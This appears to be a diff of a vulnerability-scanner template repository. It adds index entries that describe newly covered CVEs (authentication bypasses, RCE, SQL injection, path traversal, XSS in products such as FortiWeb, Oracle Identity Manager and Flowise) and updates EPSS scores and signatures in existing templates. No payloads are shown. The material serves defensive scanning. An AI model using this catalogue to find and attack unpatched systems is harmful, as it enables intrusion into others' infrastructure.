+{"ID":"CVE-2025-58443","Info":{"Name":"FOGProject \u003c= 1.5.10.1673 - Authentication Bypass","Severity":"critical","Description":"FOGProject version 1.5.10.1673 suffers from an authentication bypass vulnerability that allows unauthenticated users to access the management interface without proper authentication. This can lead to unauthorized access to system configuration, host management, and potentially database information.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-58443.yaml"}
 {"ID":"CVE-2025-58751","Info":{"Name":"Vite Dev Server - Path Traversal","Severity":"low","Description":"Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-58751.yaml"}
 {"ID":"CVE-2025-59049","Info":{"Name":"Mockoon \u003c 9.2.0 - Path Traversal","Severity":"high","Description":"Mockoon before 9.2.0 contains a path traversal and local file inclusion caused by unsafe templating of server filenames from user input, letting attackers read arbitrary files on the mock server filesystem, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-59049.yaml"}
 {"ID":"CVE-2025-59287","Info":{"Name":"Windows Server Update Service - Insecure Deserialization","Severity":"critical","Description":"Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-59287.yaml"}
@@ -3427,19 +3470,28 @@
 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
 {"ID":"CVE-2025-61666","Info":{"Name":"Traccar(Windows) 6.1- 6.8.1 - Local File Inclusion","Severity":"high","Description":"Traccar 5.8-6.0 (non-default installs with web.override set) and 6.1-6.8.1 (default installs) contain a local file inclusion vulnerability caused by enabled web override configuration, letting unauthenticated attackers leak arbitrary files including passwords, exploit requires local access.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-61666.yaml"}
 {"ID":"CVE-2025-6174","Info":{"Name":"WordPress Qwizcards \u003c 3.95 - Cross-Site Scripting (Reflected)","Severity":"medium","Description":"The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the \"theme_stylesheet\" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-6174.yaml"}
+{"ID":"CVE-2025-61757","Info":{"Name":"Oracle Identity Manager REST WebServices - Authentication Bypass","Severity":"critical","Description":"Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-61757.yaml"}
 {"ID":"CVE-2025-61882","Info":{"Name":"Oracle E-Business Suite 12.2.3–12.2.14 – Remote Code Execution","Severity":"critical","Description":"Oracle Concurrent Processing 12.2.3-12.2.14 contains a remote code execution caused by unauthenticated network access via HTTP, letting unauthenticated attackers fully compromise the system, exploit requires network access via HTTP.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-61882.yaml"}
 {"ID":"CVE-2025-61884","Info":{"Name":"Oracle E-Business Suite - Server-Side Request Forgery","Severity":"high","Description":"Vulnerability in the Oracle Configurator product of Oracle E-Business Suite (component: Runtime UI). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Configurator.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-61884.yaml"}
 {"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
 {"ID":"CVE-2025-6204","Info":{"Name":"DELMIA Apriso - Command Injection","Severity":"critical","Description":"An Improper Control of Generation of Code (code injection / file upload → RCE) vulnerability affecting DELMIA Apriso (Release 2020 → Release 2025). When an authenticated user can upload files and the upload handler fails to canonicalize filenames or enforce storage restrictions, an attacker may place executable artifacts into web-served locations (via path traversal or insufficient normalization) and achieve remote code execution under the webserver context.\n","Classification":{"CVSSScore":"9.0"}},"file_path":"http/cves/2025/CVE-2025-6204.yaml"}
 {"ID":"CVE-2025-6205","Info":{"Name":"DELMIA Apriso - Broken Access Control","Severity":"high","Description":"DELMIA Apriso Release 2020 through Release 2025 contains a broken access control vulnerability caused by missing authorization, letting attackers gain privileged access to the application, exploit requires no special conditions.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-6205.yaml"}
+{"ID":"CVE-2025-6403","Info":{"Name":"Code-Projects School Fees Payment System 1.0 - SQL Injection","Severity":"critical","Description":"A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6403.yaml"}
+{"ID":"CVE-2025-64095","Info":{"Name":"DNN - Unrestricted Arbitrary File Upload","Severity":"critical","Description":"DNN (formerly DotNetNuke) \\u003C 10.1.1 contains an unrestricted file upload vulnerability caused by the default HTML editor provider allowing unauthenticated file uploads and overwriting existing files, letting unauthenticated attackers deface websites and inject XSS payloads, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64095.yaml"}
+{"ID":"CVE-2025-64446","Info":{"Name":"FortiWeb - Authentication Bypass","Severity":"critical","Description":"A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-64446.yaml"}
+{"ID":"CVE-2025-64525","Info":{"Name":"Astro - Broken Access Control","Severity":"medium","Description":"Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64525.yaml"}
+{"ID":"CVE-2025-64764","Info":{"Name":"Astro - Reflected XSS via server islands feature","Severity":"high","Description":"Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64764.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
 {"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
 {"ID":"CVE-2025-7160","Info":{"Name":"Zoo Management System 1.0 - SQL Injection","Severity":"critical","Description":"Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-7160.yaml"}
 {"ID":"CVE-2025-8085","Info":{"Name":"Ditty \u003c 3.1.58 - Server-Side Request Forgery","Severity":"high","Description":"The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-8085.yaml"}
 {"ID":"CVE-2025-8868","Info":{"Name":"Chef Automate \u003c 4.13.295 — SQL Injection","Severity":"critical","Description":"In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8868.yaml"}
+{"ID":"CVE-2025-8943","Info":{"Name":"Flowise \u003c 3.0.1 - Remote Command Execution","Severity":"critical","Description":"The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8943.yaml"}
 {"ID":"CVE-2025-9196","Info":{"Name":"Trinity Audio \u003c= 5.21.0 - Information Exposure","Severity":"medium","Description":"The Trinity Audio Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-9196.yaml"}
+{"ID":"CVE-2025-9316","Info":{"Name":"N-central - Authentication Bypass","Severity":"medium","Description":"N-central \u003c 2025.4 can generate sessionIDs for unauthenticated users This issue affects N-central: before 2025.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9316.yaml"}
 {"ID":"CVE-2025-9744","Info":{"Name":"Loan Management System 1.0 - SQL Injection","Severity":"critical","Description":"Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-9744.yaml"}
+{"ID":"CVE-2025-9985","Info":{"Name":"Featured Image from URL (FIFU) \u003c= 5.2.7 - Unauthenticated Information Exposure via Log File","Severity":"medium","Description":"The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9985.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-0437","Info":{"Name":"Titan FTP Server 3.01 - DoS via LIST Command Disconnection","Severity":"medium","Description":"Titan FTP Server version 3.01 build 163 (and possibly other older versions) contains a vulnerability where disconnecting during a LIST -L command may crash the daemon. Remote attackers can cause denial of service by initiating a LIST -L command and then abruptly disconnecting, leading to server instability.\n","Classification":{"CVSSScore":"5"}},"file_path":"network/cves/2004/CVE-2004-0437.yaml"}
 {"ID":"CVE-2004-0656","Info":{"Name":"Pure-FTPd ≤ 1.0.18 - DoS via Connection Limit Exhaustion","Severity":"medium","Description":"Pure-FTPd versions ≤ 1.0.18 are vulnerable to denial of service through connection limit exhaustion. The vulnerability occurs in the accept_client function when the maximum number of connections is exceeded, potentially causing the server to become unresponsive or crash.\n","Classification":{"CVSSScore":"5"}},"file_path":"network/cves/2004/CVE-2004-0656.yaml"}
@@ -3473,6 +3525,7 @@
 {"ID":"CVE-2019-5544","Info":{"Name":"VMware ESXi SLP - Heap Overflow DoS","Severity":"critical","Description":"OpenSLP as used in ESXi and the Horizon DaaS appliances has a heap overwrite issue. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2019/CVE-2019-5544.yaml"}
 {"ID":"CVE-2020-0796","Info":{"Name":"Microsoft SMBv3 - Remote Code Execution","Severity":"critical","Description":"A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n","Classification":{"CVSSScore":"10"}},"file_path":"network/cves/2020/CVE-2020-0796.yaml"}
 {"ID":"CVE-2020-11981","Info":{"Name":"Apache Airflow \u003c=1.10.10 - Command Injection","Severity":"critical","Description":"An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-11981.yaml"}
+{"ID":"CVE-2020-14644","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution (Insecure Deserialization)","Severity":"critical","Description":"Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0 contain a remote code execution caused by unauthenticated network access via IIOP and T3, letting attackers take over the server, exploit requires network access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-14644.yaml"}
 {"ID":"CVE-2020-1938","Info":{"Name":"Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability","Severity":"critical","Description":"When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-1938.yaml"}
 {"ID":"CVE-2020-35359","Info":{"Name":"Pure-FTPd 1.0.48 - Denial of Service","Severity":"high","Description":"Pure-FTPd 1.0.48 is vulnerable to Denial of Service via exhaustion of connections due to lack of proper connection limits.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2020/CVE-2020-35359.yaml"}
 {"ID":"CVE-2020-9274","Info":{"Name":"Pure-FTPd ≤ 1.0.49 - DoS via Uninitialized Pointer","Severity":"high","Description":"Pure-FTPd versions ≤ 1.0.49 (\u003e= ~0.96) contain a vulnerability in the init_aliases() function within diraliases.c when processing aliases. This leads to access of an uninitialized pointer, which can cause a denial of service (DoS) condition.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2020/CVE-2020-9274.yaml"}
@@ -3500,6 +3553,7 @@
 {"ID":"CVE-2012-2122","Info":{"Name":"MySQL - Authentication Bypass","Severity":"medium","Description":"sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.\n","Classification":{"CVSSScore":"5.1"}},"file_path":"javascript/cves/2012/CVE-2012-2122.yaml"}
 {"ID":"CVE-2016-8706","Info":{"Name":"Memcached Server SASL Authentication - Remote Code Execution","Severity":"high","Description":"An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"javascript/cves/2016/CVE-2016-8706.yaml"}
 {"ID":"CVE-2018-0171","Info":{"Name":"Cisco Smart Install - Configuration Download","Severity":"critical","Description":"A vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition, or to execute arbitrary code on an affected device. The vulnerability is due to improper validation of packet data.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2018/CVE-2018-0171.yaml"}
+{"ID":"CVE-2019-6443","Info":{"Name":"NTPsec \u003e 1.1.3 - 'ctl_getitem' Out-of-Bounds Read","Severity":"critical","Description":"NTPsec before 1.1.3 contains a stack-based buffer over-read caused by a bug in ctl_getitem in read_sysvars in ntp_control.c in ntpd, letting local or remote attackers read sensitive memory, exploit requires sending crafted control requests.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"javascript/cves/2019/CVE-2019-6443.yaml"}
 {"ID":"CVE-2019-9193","Info":{"Name":"PostgreSQL 9.3-12.3 Authenticated Remote Code Execution","Severity":"high","Description":"In PostgreSQL 9.3 through 11.2, the \"COPY TO/FROM PROGRAM\" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2019/CVE-2019-9193.yaml"}
 {"ID":"CVE-2020-2883","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP, T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-2883.yaml"}
 {"ID":"CVE-2020-4429","Info":{"Name":"IBM Data Risk Manager - Hardcoded Credentials","Severity":"critical","Description":"IBM Data Risk Manager 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, and 2.0.6 contains a default password for an IDRM administrative account. A remote attacker could exploit this vulnerability to login and execute arbitrary code on the system with root privileges. IBM X-Force ID- 180534.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-4429.yaml"}
@@ -3513,6 +3567,7 @@
 {"ID":"CVE-2024-23897","Info":{"Name":"Jenkins \u003c 2.441 - Arbitrary File Read","Severity":"high","Description":"Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2024/CVE-2024-23897.yaml"}
 {"ID":"CVE-2024-45519","Info":{"Name":"Zimbra Collaboration Suite \u003c 9.0.0 - Remote Code Execution","Severity":"critical","Description":"SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system's integrity and confidentiality.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2024/CVE-2024-45519.yaml"}
 {"ID":"CVE-2024-47176","Info":{"Name":"CUPS - Remote Code Execution","Severity":"high","Description":"CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.\nDue to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"javascript/cves/2024/CVE-2024-47176.yaml"}
+{"ID":"CVE-2025-12101","Info":{"Name":"Citrix NetScaler ADC \u0026 Gateway - Reflected XSS / Open Redirect","Severity":"medium","Description":"Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-12101.yaml"}
 {"ID":"CVE-2025-46817","Info":{"Name":"Redis \u003c 8.2.1 lua script - Integer Overflow","Severity":"critical","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to cause an integer overflow and potentially lead to remote code execution The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46817.yaml"}
 {"ID":"CVE-2025-46818","Info":{"Name":"Redis Lua Sandbox \u003c 8.2.2 - Cross-User Escape","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate different LUA objects and potentially run their own code in the context of another user. The problem exists in all versions of Redis with LUA scripting. This issue is fixed in version 8.2.2. A workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing LUA scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46818.yaml"}
 {"ID":"CVE-2025-46819","Info":{"Name":"Redis  \u003c 8.2.1 Lua Long-String Delimiter - Out-of-Bounds Read","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted LUA script to read out-of-bound data or crash the server and subsequent denial of service. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46819.yaml"}
@@ -1 +1 @@
-6422b30708fe76b024738e852eb7431f
+a8f8707a5ba704eb87ed0af91bf14b37
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
    epss-score: 0.93956
-    epss-percentile: 0.99877
+    epss-percentile: 0.99874
  metadata:
    max-request: 1
    confidence: tenative
@@ -49,4 +49,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 490a00463044022030ef7844c72c1df2eb23f6b98cb54cefbd5a59aa5d36519ebfe6aade99aeeb5e02203758d3a5fa252ad6a593dd5ff012ab0d3a5077b8794d9cb3e8f63d2bdf648e2d:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204e9b66a3a556a2fac28555598e7ea9413334f57583a53647c662b5c884832f510220431fac3b010ac8412da175dfcead47a45728278d21066570301b5610c64ea2e1:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
    epss-score: 0.9434
-    epss-percentile: 0.99951
+    epss-percentile: 0.99949
  metadata:
    max-request: 1
    confidence: tenative
@@ -62,4 +62,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a00473045022100e7cac3137df9d2ff796133b37fd4454476e42a2a20c4f7e3aa4cb9c5ee92e7fc02206e726a24ee1e449291203bdffd6e84de4269148f4fa0a481b40683c3b5a13fba:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220577f4cf16662477519abacfedfe3c6614128e87bd86b664ac7b5ee9df0cb02120220546c5cfdd1bd79514ce08fd1f13d7c01c0cf40d1cd3d540786e3a9e0293431f9:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
    epss-score: 0.94441
-    epss-percentile: 0.9999
+    epss-percentile: 0.99989
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -55,4 +55,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4a0a00473045022057c004296c7cc298bfc13db724a4f01b8908fd7154a6a1724d39ff1fe49f3733022100e892c847584be7db4f81a395eeb10cd4c84c6b07c439e38ba57c7c02cc83ac15:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c6610fc04a75756d1adfc0f08ce6c15827becebfd9ce309b8dbc26776ddf9325022100be72624c8a7122dc14212a7e8e633d3488f0fb24f1e6c7aadf88700518d2a754:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
    epss-score: 0.92734
-    epss-percentile: 0.99748
+    epss-percentile: 0.99741
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
@@ -46,4 +46,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a00473045022068c2cfd3684b066c04542155588692e18073d4d1d297921f24da43ea4ec25050022100f1f9f928ec47b7041f25d5a3223bdb590a39373bb9f9730dc1ed274d0ffba0f4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200360c7adcd20282fc6554c086bc665a8debb2739f770b09a11d6153a3df17b1f022100c143a80c2b15010ec20d42a60129523042769e5f99f6dc9702b3e7a3c7d8c01b:922c64590222798bb761d5b6d8e72950
@@ -19,7 +19,7 @@ info:
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
    epss-score: 0.94161
-    epss-percentile: 0.9991
+    epss-percentile: 0.99909
  metadata:
    max-request: 1
    confidence: tenative
@@ -68,4 +68,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 490a0046304402203c97c7adfcde085577438811e428c7c4b1e25dccf7be131cf568b351b695ab6d0220546426ab49191229ddc97bcddfa899a8a3f7f8c8e13818804297bdfe819272bf:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cc346282a9fe2035bb592ef63e7a609534f5c5edcc6ad93df9e26e06faa7380b022100db3946759339a3a480cc28202c77679fd1ca1e62e755d7fd5fb7b6843cd6d967:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 7.3
